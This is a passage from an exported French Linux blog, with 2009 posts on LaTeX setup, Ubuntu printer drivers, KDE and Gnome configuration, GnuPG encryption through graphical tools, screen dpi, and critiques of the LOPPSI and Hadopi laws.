\usepackage[bookmarks=false,colorlinks,linkcolor=blue]{hyperref}Ici, par exemple, j’ai précisé que je ne voulais pas générer l’index du document (qui s’affiche par défaut dans certaines visionneuses de PDF, notamment le logiciel privateur Adobe Reader), que je voulais colorer les liens plutôt que de les encadrer (ce que je trouve particulièrement moche) et que je les voulais en bleu.
Ce package permet également de renseigner les propriétés du documents (les méta-données), ce qui est bien utile pour le référencement.
On trouve souvent la méthode qui consiste à ajouter les propriétés du document
directement en option d’hyperref :
\usepackage[pdfauthor={Romain Vimont},pdftitle={Démo LaTeX}]{hyperref}Mais elle ne supporte pas tous les caractères, par exemple :
\usepackage[pdfauthor={Romain Vimont (®om)},pdftitle={Démo LaTeX}]{hyperref}Une bonne pratique est donc de les écrire séparément (et là ça fonctionne) :
\hypersetup{
pdftitle={Démo LaTeX},
pdfsubject={Modèle de document LaTeX},
pdfkeywords={LaTeX, modèle},
pdfauthor={Romain Vimont (®om)}
}La liste complète des propriétés est disponible ici.

Les marges par défaut des documents générés sont énormes. Les étudiants en sont très contents quand ils doivent écrire un rapport de stage de 40 pages dont ils viennent difficilement à bout, mais dans beaucoup d’autres cas, c’est une perte de place. Même s’il y a une raison à cela, on peut vouloir les diminuer.
Le package geometry rend cette opération très simple :
\usepackage[top=1.5cm,bottom=1.5cm,left=1.5cm,right=1.5cm]{geometry}Il est possible de définir la version de PDF à utiliser (j’en ai eu besoin par exemple pour intégrer correctement des images png transparentes, qui ne fonctionnait pas avec PDF inférieur à 1.6) et le niveau de compression, permettant de gagner quelques kilo-octets sur le fichier final.
\pdfminorversion 7
\pdfobjcompresslevel 3Voici donc un modèle de document prêt à être compilé :
\pdfminorversion 7
\pdfobjcompresslevel 3
\documentclass[a4paper]{article}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[francais]{babel}
\usepackage[bookmarks=false,colorlinks,linkcolor=blue]{hyperref}
\usepackage[top=1.5cm,bottom=1.5cm,left=1.5cm,right=1.5cm]{geometry}
\hypersetup{
pdftitle={Démo LaTeX},
pdfsubject={Modèle de document LaTeX},
pdfkeywords={LaTeX, modèle},
pdfauthor={Romain Vimont (®om)}
}
\begin{document}
\section{Première section}
\subsection{Une sous-section}
Du texte\dots
\subsection{Une autre sous-section}
\section{Une autre section}
\end{document}Par défaut, Ubuntu ne gère pas les aperçus des fichiers ODF (format utilisé par OpenOffice.org), contrairement aux fichiers images, aux fichiers PDF, etc. On se retrouve alors avec une simple icône :
![]()
C’est quand même plus pratique d’obtenir un aperçu du document comme ceci :
![]()
EDIT: en fait c’est beaucoup plus simple que prévu.
Il suffit d’installer les paquets libgsf-bin et imagemagick :
sudo apt-get install libgsf-bin imagemagick
et de redémarrer la session.
";s:7:"dateiso";s:15:"20090630_202750";}s:15:"20090629_205646";a:7:{s:5:"title";s:37:"Canon PIXMA iP1600 sous Ubuntu Jaunty";s:4:"link";s:67:"http://blog.rom1v.com/2009/06/canon-pixma-ip1600-sous-ubuntu-jaunty";s:4:"guid";s:67:"http://blog.rom1v.com/2009/06/canon-pixma-ip1600-sous-ubuntu-jaunty";s:7:"pubDate";s:25:"2009-06-29T20:56:46+02:00";s:11:"description";s:0:"";s:7:"content";s:2311:"Ce billet est un petit aide-mémoire pour moi-même.
EDIT 30/05/2010 : Attention, ceci ne fonctionne pas sous Ubuntu Lucid Lynx (10.04). Je vous conseille de suivre ce post car la procédure change à chaque version…
L’imprimante Canon PIXMA iP1600 fonctionne avec les pilotes de l’iP2200,
disponible sur mon serveur ici: http://dl.rom1v.com/ip1600/ (normalement il
faut télécharger les paquets en .rmp sur le site de Canon, puis les convertir
en .deb, mais je me suis déjà occupé de cette étape).
Pour télécharger les .deb directement :
wget http://dl.rom1v.com/ip1600/cnijfilter-{common,ip2200}_2.60-2_i386.deb
Ensuite il faut les installer. Pour un système 32 bits :
sudo dpkg -i cnijfilter-*.deb
Il faut ensuite rajouter des liens car les pilotes n’utilisent pas les bonnes versions des dépendances :
sudo ln -s /usr/lib/libtiff.so.{4,3}
sudo ln -s /usr/lib/libpng{12.so.0,.so.3}
Pour un système 64 bits, c’est plutôt :
sudo dpkg -i --force-architecture cnijfilter-*.deb
et :
sudo ln -s /usr/lib32/libtiff.so.{4,3}
sudo ln -s /usr/lib32/libpng{12.so.0,.so.3}
Ensuite, il suffit de brancher, allumer et ajouter l’imprimante dans Système → Administration → Impression en cliquant sur le bouton Nouveau.
« Canon iP1600 » doit apparaître dans la liste des périphériques, la sélectionner et cliquer sur Suivant.
Choisir « Fournir un fichier PPD » et sélectionner le fichier :
/usr/share/cups/model/canonip2200.ppd
Il ne reste plus qu’à répondre à quelques questions basiques (choisir un nom pour l’imprimante…), et voilà. Normalement, ça fonctionne !
Si des problèmes de dépendances persistent (l’imprimante n’imprime pas), cette commande peut être utile :
ldd /usr/local/bin/cifip2200
";s:7:"dateiso";s:15:"20090629_205646";}s:15:"20090627_231017";a:7:{s:5:"title";s:19:"Inquiétante LOPPSI";s:4:"link";s:48:"http://blog.rom1v.com/2009/06/inquietante-loppsi";s:4:"guid";s:48:"http://blog.rom1v.com/2009/06/inquietante-loppsi";s:7:"pubDate";s:25:"2009-06-27T23:10:17+02:00";s:11:"description";s:0:"";s:7:"content";s:812:"Le projet de loi LOPPSI (Loi d’Orientation et de Programmation pour la Performance de la Sécurité Intérieure) a été présenté le 27 mai 2009 en conseil des ministres par Michèle Alliot-Marie. Il ne devrait pas tarder à passer à l’Assemblée Nationale.
Ce texte « fourre-tout » contient des dispositifs concernant internet inquiétants pour la démocratie, la liberté d’expression et l’égalité devant la loi.
J’ai préparé une analyse des articles concernés (2, 3, 4 et 23) de ce projet de loi : loppsi.pdf.
Si vous avez des remarques, des contre-arguments, des choses à ajouter… n’hésitez pas !
";s:7:"dateiso";s:15:"20090627_231017";}s:15:"20090619_224330";a:7:{s:5:"title";s:60:"Gestionnaire de presse-papiers : indispensable sous Gnome !";s:4:"link";s:85:"http://blog.rom1v.com/2009/06/gestionnaire-de-presse-papiers-indispensable-sous-gnome";s:4:"guid";s:85:"http://blog.rom1v.com/2009/06/gestionnaire-de-presse-papiers-indispensable-sous-gnome";s:7:"pubDate";s:25:"2009-06-19T22:43:30+02:00";s:11:"description";s:0:"";s:7:"content";s:1782:"La gestion du presse-papiers de Gnome par défaut est assez rudimentaire.
Faites le test :
Eh oui, le contenu du presse-papiers est perdu en même temps que la fermeture du programme d’où il provient…
Pour éviter cela, il faut un Gestionnaire de presse-papiers. KDE en a un par
défaut : klipper.
Sous Gnome, il faut en installer un. Il en existe plusieurs, mais
personnellement je vous conseille parcellite. Il suffit de l’installer, il se
lancera tout seul à chaque démarrage. Il ajoute une icône dans le systray, à
partir de laquelle il est possible de le configurer, mais le principal, c’est
qu’il permette de ne pas perdre le contenu copié… Il mémorise aussi les n
derniers contenus (configurable). Petit inconvénient, il n’est pas en français,
mais de toute façon une fois lancé, on n’y touche plus.

Sinon, il existe également glipper sous la forme d’un applet à ajouter au
tableau de bord, mais le problème est qu’il plante à quasiment chaque démarrage
du système (même si une fois lancé il fonctionne bien).
Même en utilisant Gnome, il peut arriver de vouloir utiliser des applications KDE (Qt), telles que amarok, digikam, kile ou d’autres… Et là, c’est le drame :
Pour le premier problème, c’est vite réglé, il suffit d’installer le paquet
kde-i18n-fr :
sudo apt-get install kde-i18n-frEDIT: Sous Ubuntu Lucid Lynx (10.04), le paquet s’appelle maintenant
kde-l10n-fr :
sudo apt-get install kde-l10n-frPour le reste, si on ne veut pas éditer des fichiers de configuration à la main,
il faut la fenêtre de configuration de KDE : systemsettings. Mais si on
n’installe que ce paquet, la fenêtre de configuration est presque vide ; pour
pouvoir tout configurer, il faut également le paquet kdebase-workspace-bin (et
ses dépendances)… et ça quand on ne le sait pas, on galère`!
sudo apt-get install systemsettings kdebase-workspace-binUne fois installé, il suffit de lancer systemsettings (Applications → Outils
Système → System Settings).
Si la fenêtre est toujours vide, exécutez la commande kbuildsycoca4.
Quelques icônes n’apparaissent pas (elles sont remplacées par l’icône par défaut), ça n’est pas bien grave.
EDIT: Attention, ceci risque de modifier le rendu des polices de caractères
dans certaines applications (notamment Firefox), à cause de certaines
configurations par défaut de KDE. Pour résoudre ce problème, il faut supprimer
(ou renommer) le fichier ~/.fonts.conf :
mv ~/.fonts.conf{,.old}
Dans la configuration de l’apparence (première icône), il est possible de modifier le style (choisir GTK+ au lieu de Oxygen pour une meilleure intégration dans Gnome), le thème d’icônes (par exemple Human) et les polices de caractères (même si personnellement, je n’arrive pas à avoir le même rendu que les polices de Gnome, au moins je peux les mettre à la même taille).

Dans le menu principal de systemsettings, vers le bas se trouve le bouton Clavier & Souris : c’est là qu’il est possible de configurer le comportement de la souris, en particulier effectuer les actions sur double clic plutôt que sur simple clic :

Et voilà le résultat pour la fenêtre de dolphin (le navigateur de fichiers de KDE4) :

Ce billet présente l’utilisation de GnuPG sous Ubuntu pour chiffrer ses fichiers, ses mails ou sa messagerie instantanée. Tout ceci sans jamais passer par la ligne de commande.
Je ne vais pas expliquer comment fonctionne le chiffrement, c’est déjà bien expliqué sur wikipedia. Il est important de comprendre le principe.
Pour résumer, si A possède une clé publique Apub et une clé privée Apriv, si B possède une clé publique Bpub et une clé privée Bpriv. et si A envoie un message à B :

Pour créer sa paire de clés (une clé publique et une clé privée) :
Quelques informations sont demandées :

Personnellement, je préfère décocher « N’expire jamais », et faire expirer la clé au bout de deux ans, au cas où la clé serait perdue…
Il ne reste plus qu’à cliquer sur Créer, une phrase de passe (un long mot de passe) est demandée, et les clés sont générées. Une nouvelle ligne apparaît alors dans « Mes clés personnelles » :

Si vous avez plusieurs e-mails et/ou adresses Jabber, vous pouvez les rajouter en cliquant droit sur votre clé, Propriétés, Noms et signatures.
Une fois créée, je vous conseille de garder une copie du répertoire ~/.gnupg,
qui contient votre clé privée, sur un support externe (une clé USB).
Il est possible de laisser la clé déverrouillée pendant un certain temps après avoir tapé la phrase de passe. Cela évite de la retaper à chaque fois.
Pour changer ce comportement, il faut aller dans Système → Préférences → Chiffrement et trousseaux, dans l’onglet « Phrases de passe PGP » :

Maintenant que nous avons créé notre paire de clés, il faut que notre clé publique soit accessible à ceux avec qui nous souhaitons communiquer.
Il suffit pour cela de sélectionner la clé et de cliquer sur le bouton
Exporter… : la clé publique sera alors exportée dans un fichier portant
l’extension .asc. Il ne reste plus qu’à donner ce fichier à notre contact, qui
n’aura qu’à double-cliquer dessus (à partir du navigateur de fichiers) ou
l’importer dans Fichier → Importer… (Ctrl+I).
Il est également possible de l’exporter dans le presse-papier, pour pouvoir la coller n’importe où avec Ctrl+V, sans passer par un fichier : il suffit pour cela de cliquer-droit sur la clé, puis de cliquer sur Copier.
Pour une diffusion plus globale, il existe des serveurs de clés : ils
répertorient les clés publiques de tout le monde. Par exemple, il est possible
de publier sa clé sur pgp.mit.edu, en y copiant le contenu du fichier .asc
exporté.
Attention : une clé publiée ne sera jamais supprimée du serveur, elle pourra simplement être révoquée, en créant un certificat de révocation, indiquant à tous que votre clé est invalide. Ne publiez donc que votre clé “définitive”.
Il est également possible de configurer le gestionnaire de clés pour qu’il les publie et synchronise directement, en activant dans Édition → Préférences → Serveurs de clés → Publier les clés sur….
Grâce à ces serveurs de clés, il est facile de trouver la clé publique d’une personne directement dans le gestionnaire de clés. Il faut cliquer sur le bouton « Chercher des clés distantes… » et taper le nom de la personne, son mail ou l’identifiant de sa clé (la suite de 8 caractères hexadécimale qui apparaît dans la liste des clés) :

Et le résultat :

(la première est barrée car c’était mon ancienne clé, que j’ai révoquée lorsque mon ordinateur a été volé)
Il ne reste plus qu’à cliquer sur Importer.
Une fois la clé d’un contact récupérée, il est possible de la signer pour indiquer qu’on a confiance en cette clé. Certains logiciels n’acceptent d’ailleurs que les clés de confiance. Pour cela, dans l’onglet « Autres clés obtenues » du gestionnaire de clés, il faut cliquer-droit sur une clé, puis « Signer la clé… » :

Avant de signer une clé, il est très important de comparer l’empreinte affichée dans les détails de la clé que vous avez récupérée avec celle de votre contact. Cela permet de détecter la récupération d’une fausse clé.
Voilà, maintenant tout est en place, nous pouvons commencer à chiffrer et à signer.
C’est très simple : il suffit de cliquer-droit sur un fichier, et de choisir Chiffrer ou Signer :

Ces fonctions nécessitent le paquet seahorse-plugins, qui n’est plus installé
par défaut dans Ubuntu 9.10).
L’outil de chiffrement demande les destinataires qui pourront déchiffrer le fichier (avec leur clé privée). Tous ceux n’étant pas dans la liste des destinataire n’auront aucun moyen de déchiffrer le fichier. En particulier, il peut être utile de s’ajouter en destinataire.
Il est également possible de signer le fichier en même temps (pour que celui qui le déchiffre soit sûr de l’identité de celui qui l’a chiffré).

Il ne reste plus qu’à cliquer sur Valider. Lorsque l’on choisit de signer le
fichier en même temps, la phrase de passe de la clé privée est demandée.
Ensuite, le fichier est chiffré dans un nouveau fichier portant l’extension
.pgp (alors qu’en ligne de commande, cela crée un fichier .gpg, mais peu
importe).
Pour le déchiffrer, il suffit de double-cliquer dessus.
L’outil de signature demande avec quelle clé nous souhaitons signer (utile si
plusieurs utilisateurs utilisent chacun une clé), demande ensuite la phrase de
passe (pour déverrouiller la clé), et crée la signature dans un fichier portant
l’extension .sig.
Pour vérifier la signature, il suffit de double-cliquer sur ce .sig, une
notification indiquera si la signature est valide :

Si le fichier est assez volumineux, cela peut prendre un moment (20 ou 30 secondes), et parfois aucune fenêtre ne s’ouvre indiquant que la vérification est en cours, ce qui est assez perturbant ; mais le processeur, lui, tourne bien à plein régime pour vérifier la signature.
Dans Evolution (le gestionnaire de mails par défaut sous Ubuntu), il faut associer la clé que nous avons créée avec le compte mail. Pour cela, ouvrir le menu Édition → Préférences → Comptes de messagerie, sélectionner le compte de messagerie auquel associer la clé, et cliquer sur Édition. Dans l’onglet « Sécurité », recopier l’identifiant de la clé en question, et valider.
Ensuite, lors de la rédaction d’un message, il est possible d’activer la signature et le chiffrement :

Pour que le chiffrement fonctionne, il faut évidemment avoir dans le trousseau de clés les clés publiques de tous les destinataires du mail.
Lorsque nous recevons un message chiffré et/ou signé, Evolution vérifie la signature et déchiffre le mail. Pour l’illustrer, je me suis envoyé à moi-même un message chiffré et signé, lorsque je l’ouvre, Evolution me demande la phrase de passe (pour déchiffrer le message), et ensuite me l’affiche de cette manière :

Il est préférable d’utiliser OTR pour la messagerie instantanée, GPG n’est pas approprié.
Dans gajim (le client Jabber de référence), il faut associer la clé avec le compte Jabber. Pour cela, ouvrir le menu Édition → Comptes, sélectionner le compte, et dans l’onglet « Informations personnelles », choisir la clé à associer. Au passage, activer la case « Utiliser un Agent GPG ».
Une fois la clé associée au compte, gajim va toujours se connecter en signant
la présence. Et qui dit signature dit déverrouillage de la clé privée, et donc
demande de la phrase de passe à chaque démarrage de gajim. Il est possible de
désactiver la signature de la présence : Édition → Préférences, onglet
« Avancées » → « Éditeur de configuration avancé » → Ouvrir… et faire passer
gpg_sign_presence à Désactivé.
Ensuite, il faut avoir les clés publiques des contacts avec qui nous souhaitons communiquer de manière chiffrée. Ces clés doivent être de confiance. Pour assigner une clé à un contact Jabber, il faut cliquer-droit sur ce contact, Gérer le Contact → Assigner une clé OpenPGP… :

Ensuite, lors de la conversation, il est possible d’activer le chiffrement :

Inutile de vous dire que pour la messagerie instantanée, il vaut mieux avoir configuré le trousseau pour que la clé soit déverrouillée durablement, afin de ne pas retaper la phrase de passe à chaque message.
Un applet Gnome permet de chiffrer, déchiffrer et signer le presse-papier. Sachant que le presse-papier contient ce qui est surligné avec la souris (ou ce qui est copié avec Ctrl+C), c’est parfois bien pratique. Pour l’ajouter, il faut cliquer droit sur un panel de Gnome (la barre du haut par exemple), puis « Ajouter au tableau de bord… », et l’ajouter :


Petit plus, lorsque le presse-papier contient une clé, l’applet permet de l’importer directement dans le trousseau de clés. Une fois que vous avez ajouté l’applet, essayez de sélectionner tout le texte de ma clé publique.
Ensuite, cliquez sur le bouton de l’applet : vous pourrez importer ma clé directement.
Merci à cyril pour cette astuce :-)
Pour plus d’infos sur l’outil gpg, rendez-vous sur le site officiel (en anglais) ou sur la doc ubuntu-fr.
Vous pouvez également consulter man gpg pour l’utiliser en ligne de commande.
Dans Ubuntu Jaunty, le thème par défaut reste Human (à gauche), mais d’autres sont disponibles par défaut comme New Wave (à droite), qui rencontre un certain succès :

J’utilisais New Wave, mais je viens de me rendre compte qu’il ralentit énormément l’affichage. Par exemple, dans deluge (un client torrent), mettez en téléchargement plusieurs torrents (les différentes iso d’Ubuntu), et essayez de redimensionner une colonne : c’est très lent. Pareil dans rhythmbox (mais un peu moins flagrant). Et d’une manière générale je trouvais que le système, ou du moins son affichage, était assez lent (mais ça reste utilisable), le redimensionnement de colonnes dans deluge n’étant qu’un révélateur.
Puis j’ai sélectionné le thème par défaut (Human), et là c’est très fluide, le redimensionnement de colonne dans deluge est très rapide. Aucun problème non plus avec les autres thèmes (Dust par exemple), c’est vraiment lié à New Wave.
C’est dommage, j’aimais bien ce thème.
";s:7:"dateiso";s:15:"20090521_082731";}s:15:"20090410_153610";a:7:{s:5:"title";s:30:"Pourquoi je suis contre Hadopi";s:4:"link";s:60:"http://blog.rom1v.com/2009/04/pourquoi-je-suis-contre-hadopi";s:4:"guid";s:60:"http://blog.rom1v.com/2009/04/pourquoi-je-suis-contre-hadopi";s:7:"pubDate";s:25:"2009-04-10T15:36:10+02:00";s:11:"description";s:0:"";s:7:"content";s:11236:"J’ai résisté depuis le début à l’idée de faire un billet à propos de la loi Hadopi, étant donné le nombre inimaginable d’infos à ce sujet sur internet.
Je fais celui-ci simplement pour indiquer pourquoi je suis contre, notamment du point de vue technique. Il s’agit en fait grosso modo du contenu des courriers (électroniques et postaux) que j’ai envoyé à certains députés avant les débats à l’Assemblée Nationale.
Je soutiens évidemment par ailleurs les arguments avancés par La Quadrature du Net.
L’unique preuve utilisée pour accuser les internautes est une adresse IP (une suite de 4 nombres), apparaissant dans une liste fournie par les ayant-droits eux-mêmes. Comme cela a été montré à de nombreuses reprises, une adresse IP n’est pas une preuve suffisante pour accuser un internaute :
Et effectivement, baser l’accusation des internautes sur une simple adresse IP est extrêmement aléatoire :
Que propose alors ce projet de loi pour éviter ces problèmes ?
Une adresse IP n’est pas une preuve suffisante pour accuser un internaute.
L’une des mesures principales du projet est de court-circuiter l’autorité judiciaire : elle préconise de ne plus passer par un juge pour attaquer les internautes. Pas de solution ? Supprimons le problème…
Les bornes WiFi peuvent être utilisées par des voisins.
L’astuce est dans ce projet de ne pas poursuivre les internautes qui téléchargent des œuvres illégalement, mais le propriétaire qui est responsable de l’accès internet.
Les autres problèmes sont tout simplement ignorés.
Il y aura une part énorme des accusés qui le seront probablement à tort !
Dans la déclaration universelle des droits de l’Homme de 1948, on trouve cet article :
Article 11. Toute personne accusée d’un acte délictueux est présumée innocente jusqu’à ce que sa culpabilité ait été légalement établie au cours d’un procès public où toutes les garanties nécessaires à sa défense lui auront été assurées.
Dans ce projet de loi, l’Hadopi accuse l’internaute sans preuves (si ce n’est la réception de la part des plaignants d’une adresse IP qui aurait été repérée par leurs outils de détection privés) ; s’il est innocent, c’est à lui de le démontrer.
Nous avons vu qu’il pourrait y avoir de nombreuses accusations à tort, et que ce sera à l’accusé de prouver son innocence. Étudions alors quand et comment il pourra se défendre.
Le projet de loi dit que l’accusé à tort ne pourra pas du tout contester lors des deux premières étapes de la riposte graduée (réception d’un e-mail d’avertissement et réception d’une lettre recommandée avec accusé de réception). Il pourra cependant éventuellement « en faire part » à la Haute Autorité, juste dans le but de les informer.
Il est dit qu’il pourra, par contre, faire appel à un juge une fois la section prononcée (et l’accès à Internet coupé).
Un internaute innocent fera donc appel à un juge une fois son accès Internet coupé. Comment pourratil prouver son innocence ? C’est très simple :
Mettons de côté le cas de force majeur, et intéressons-nous aux deux autres cas.
C’est tout simplement impossible. Imaginez-vous un utilisateur lambda démontrer devant un juge que son accès WiFi a été piraté ? Même si l’accusé est ingénieur réseau, il aura bien du mal.
Ce type de logiciel n’existant pas encore, Mme Albanel précise que ce sera un logiciel « de type pare-feu ». M. Riester (rapporteur du projet de loi) indique de plus que ces logiciels seront payants et non-interopérables :
L’interopérabilité, je n’y suis pas favorable ; il faut laisser au consommateur sa totale liberté de choix en fonction de son système d’exploitation.
Les spécialistes de la question bondiront de leur chaise en lisant cette phrase, qui dit une chose et son contraire : l’interopérabilité, c’est justement le fait de pouvoir laisser l’utilisateur choisir son logiciel et son système d’exploitation. Mme Albanel a également précisé lors des deux premières journées de débat à l’Assemblée Nationale qu’il existait des pare-feux gratuits, comme par exemple celui livré avec Microsoft Office (qui coûte, rappelonsle, 129€) ou dans OpenOffice ; ceci est totalement absurde, il n’y a évidemment aucun pare-feu dans une suite bureautique.
Il existe en effet des pare-feux gratuits (iptables par exemple sous
GNU/Linux), mais un pare-feu protège l’intérieur contre les attaques
extérieures, tandis qu’un logiciel tel que propose ce projet de loi voudrait
protéger l’extérieur contre les attaques intérieures (empêcher un utilisateur
intérieur au réseau d’effectuer un téléchargement à partir d’une source
extérieure). Comme si on voulait vous enfermer dans une pièce avec un verrou
dans la pièce : vous n’êtes pas enfermé, puisqu’il vous suffit d’ouvrir le
verrou (ici de désactiver ou de contourner le logiciel).
Pour éviter ce problème, Olivier Henrard, juriste spécialiste du texte au ministère de la Culture, ne s’est pas démonté, lors de son débat avec Jérémie Zimmermann sur 01net en précisant que ce logiciel enverra régulièrement des informations à la Haute Autorité concernant l’activité de l’ordinateur. Ce sera donc un mouchard.
Rappelons tout de même le contexte : chaque particulier devra acheter et installer un tel logiciel (et ses mises à jour) afin qu’il puisse, dans le cas où il serait accusé à tort par des aléas techniques du projet de loi, prouver sa bonne foi. Par analogie, c’est comme si chaque citoyen devait porter un bracelet électronique, qui lui permettrait alors de se défendre (et ça serait la seule façon) lorsqu’un délit a lieu près de chez lui (il pourrait prouver qu’il n’était pas là à ce moment-là).
De plus, ce type de logiciel bloquerait certains protocoles (P2P notamment), alors même que le P2P n’est pas illégal : il permet entre autres de télécharger de la musique libre (sur Jamendo par exemple) ou de nombreuses distribution GNU/Linux. Certes, il peut être utilisé à des fins illégales, tout comme le HTTP (protocole du Web) peut être utilisé pour télécharger illégalement des fichiers protégés par le droit d’auteur. Est-ce pour autant qu’il faut bloquer le Web ?
Enfin, ce logiciel serait totalement inefficace : il suffirait de l’installer sur un ordinateur (éventuellement une machine virtuelle), et de télécharger illégalement avec un autre. Et lorsque l’ordinateur où se trouve ce logiciel est éteint, l’utilisateur ne pourra plus prouver que le soi-disant logiciel de sécurisation était allumé (puisqu’il était éteint, en même temps que l’ordinateur).
Sans compter son incompatibilité totale avec le logiciel libre.
Olivier Henrard et Christine Albanel proposent une seconde idée : l’internaute pourra envoyer son disque dur en guise de bonne foi. C’est ridicule (les personnes accusées à tort sans preuve ne vont pas démonter leur ordinateur pour envoyer leur disque dur et s’en priver pour une durée indéterminée), et ça ne prouverait rien (il suffirait d’envoyer un disque dur n’ayant pas servi à un téléchargement illégal).
De gros problèmes techniques rendent les accusations envers les internautes totalement aléatoires. Il reviendra aux accusés sans preuves de prouver leur innocence. Ils n’auront aucun moyen de se défendre dans les deux premières étapes de la riposte graduée. Lors de la sanction finale, ils auront bien du mal à prouver leur bonne foi, à moins d’avoir effectué, avant l’accusation, l’achat et l’installation d’un mouchard sur leur ordinateur (qui bloquerait par ailleurs beaucoup de contenus légaux), et d’avoir la chance que la date et l’heure d’accusation coïncide avec celle de fonctionnement du logiciel en question (en particulier il faut que l’ordinateur soit allumé).
";s:7:"dateiso";s:15:"20090410_153610";}s:15:"20090307_112208";a:7:{s:5:"title";s:36:"Ex Falso : taggeur de fichiers audio";s:4:"link";s:63:"http://blog.rom1v.com/2009/03/exfalso-taggeur-de-fichiers-audio";s:4:"guid";s:63:"http://blog.rom1v.com/2009/03/exfalso-taggeur-de-fichiers-audio";s:7:"pubDate";s:25:"2009-03-07T11:22:08+01:00";s:11:"description";s:0:"";s:7:"content";s:1024:"Je viens de découvrir un petit utilitaire pour tagger les fichiers audio,
présent dans les dépôts officiels d’Ubuntu : ex-falso.
Il est très simple d’utilisation et permet l’édition manuelle des tags (par association clé/valeur) :

Très pratique lorsqu’on a des fichiers d’un album multi-cd, où le numéro de CD est inscrit dans disc au lieu de discnumber (ce qui mélange tout dans les lecteurs audio tels que rhythmbox), et pour maîtriser les tags qui sont inscrits (pas comme certains logiciels tels que soundjuicer ou même l’édition des informations des fichiers dans rhythmbox qui inscrivent chacun leur lot de tags inutiles, en particulier ceux concernant musicbrainz même lorsque qu’aucun id n’est renseigné).
Si vous avez des tags à modifier, je vous le conseille.
";s:7:"dateiso";s:15:"20090307_112208";}s:15:"20090302_203328";a:7:{s:5:"title";s:61:"Résolution, pixels, points, dpi : un casse-tête insoluble ?";s:4:"link";s:82:"http://blog.rom1v.com/2009/03/resolution-pixels-points-dpi-un-casse-tete-insoluble";s:4:"guid";s:82:"http://blog.rom1v.com/2009/03/resolution-pixels-points-dpi-un-casse-tete-insoluble";s:7:"pubDate";s:25:"2009-03-02T20:33:28+01:00";s:11:"description";s:0:"";s:7:"content";s:13887:"Ce billet fait suite à une question que je me posais sur la résolution dpi des écrans (notamment la valeur erronée détectée par défaut sous Gnome), qui m’avait amené à effectuer un rapport de bug, tout en pointant du doigt certains problèmes qui surviendraient si Gnome détectait correctement le dpi. Ce bug est maintenant corrigé dans la nougelle version de Gnome, celle embarquée dans la future Ubuntu 9.04 Jaunty Jackalope. C’est l’occasion de faire le point.
Afin de comprendre les problèmes, il est important de définir chacun des concepts (je limite ici leur définition au cas d’une image numérique affichée sur un écran).
Le pixel, abrégé px, est une unité de surface permettant de définir la base d’une image numérique. Son nom provient de la locution anglaise « picture element », qui signifie « élément d’image » ou « point élémentaire ». Il n’a a priori pas de taille « réelle ».
Le point (Pica), abrégé pt, est une unité de longueur. Un point pica mesure 1/72e de pouce (1 pouce = 2,54 cm), c’est-à-dire environ 0,03528 cm, soit un peu plus d’un tiers de millimètre.
La résolution permet de donner une taille réelle à un pixel. Elle est souvent exprimée en DPI (Dot Per Inch : Point Par Pouce). Attention, dans cette unité, le point signifie pixel (et non point Pica, puisque par définition, le nombre de points Pica par pouce est toujours 72, tout comme le nombre de millimètres dans un centimètre est toujours 10).
La définition d’une image ou d’un écran est le nombre de pixels qui composent l’image ou que peut afficher un écran. Elle est souvent donnée sous la forme nombre de pixels horizontalement × nombre de pixels verticalement, par exemple 640×480.
Combien mesure sur l’écran une image en 640×480 ?
Quelle est la hauteur en pixels d’un texte en taille 18 pt ?
Cela dépend de la taille des pixels ! Par exemple, une image en 640×480 sera 4
fois plus petite (2 fois dans chaque dimension) sur écran 7” que sur un écran
14”, si les deux écrans ont la même définition (disons 1024×768). Pareil pour la
taille d’un texte.
Quelle taille en pixels doit avoir un rectangle de 13×8 cm ?
Cela dépend également de la taille des pixels : le rectangle sera « plus petit »
(en pixels) sur un écran de moindre définition.
Pour déterminer la réponse à ces questions, la connaissance de la résolution, exprimée en dpi, est nécessaire : elle permet de faire la conversion entre une mesure réelle (homogène aux centimètres) et une mesure en nombre de pixels.
Pour connaître le dpi d’un écran, il suffit de taper :
xdpyinfo | grep resolutionIl est également possible d’effectuer le calcul à la main (comme je l’ai fait sur le post et sur le bug report cités au début), en connaissant d’une part la définition de l’écran, et d’autre part :
Juste pour illustrer le premier exemple, avec ces calculs on trouve qu’un écran 7” en 1024×768 a une résolution de 183 dpi, et donc qu’une image en 640×480 affichée à l’écran mesure précisément 3,5×2,625” (8,89×6,6675 cm). De même, un écran 14” en 1024×768 a une résolution de 91,5dpi, et donc qu’une image en 640×480 affichée à l’écran mesure précisément 7×5,25” (17,78×13,335 cm).
On remarque que si l’on fait une capture d’écran de ces deux images, dont la surface de l’une 4 fois plus petite que celle l’autre, le résultat sera identique (en 640×480) : une capture d’écran (une image numérique) affichée à l’écran ne prend en compte que la taille en pixels. Ceci a une conséquence importante : une fenêtre F1 sur un écran E1 plus petite qu’une fenêtre F2 sur un écran E2 peut apparaître plus grande sur des captures d’écran.
Le système, en connaissant le dpi, est donc capable d’afficher des objets dont les mesures sont exprimées en centimètres (ou unités homogènes, comme les pouces).
Le problème, c’est qu’il n’utilise pas toujours la valeur « réelle » du dpi : il utilise souvent une valeur pré-configurée (72 ou 96), indépendante de l’écran. La résolution dpi, seule valeur permettant de faire le lien avec la mesure réelle, est choisie arbitrairement : elle ne sert donc à rien. Tout cela avait un sens physique à l’origine, où le matériel avait toujours une résolution très proche de 72 ou de 96 (voir cet article).
Pour continuer à lui donner un sens, il faut que le système utilise le dpi réel de l’écran : c’est le cas depuis KDE4 et Gnome 2.25 ; Windows et MacOS, quant-à-eux, continuent à utiliser une valeur pré-configurée dénuée de sens.
On a donc, dans les deux environnements de bureau principaux sous GNU/Linux, une valeur correcte du dpi : c’est donc gagné !
Malheureusement, ce n’est pas si simple.
Nous possèdons un écran 15,4” de définition 1024×768, et nous souhaitons le remplacer par un nouvel écran 15,4” de définition 2048×1536 (donc de résolution double dans chaque direction).
Comment doit se comporter l’affichage des polices de caractères ?
Deux solutions :
La réponse n’est pas évidente.
La première proposition qui consiste à garder la taille identique en pixels ne peut pas être absolument vraie : si nous utilisions un écran 15,4” de définition 20480×15360 (pourquoi pas?), des lettres de 18 pixels seraient totalement illisibles par l’œil humain.
La seconde semble donc plus valable, mais nous pouvons objecter que la taille des caractères que nous avions sur notre écran 15,4” en 1024×768 est plus grande que celle dont nous avons réellement besoin : nous ne pouvions pas la diminuer à cause de la faible résolution de l’écran (une lettre représentée par 4 pixels n’est qu’une tache noire). Un écran de meilleure résolution permettrait de diminuer la taille du texte afin d’obtenir une taille réelle « meilleure ».
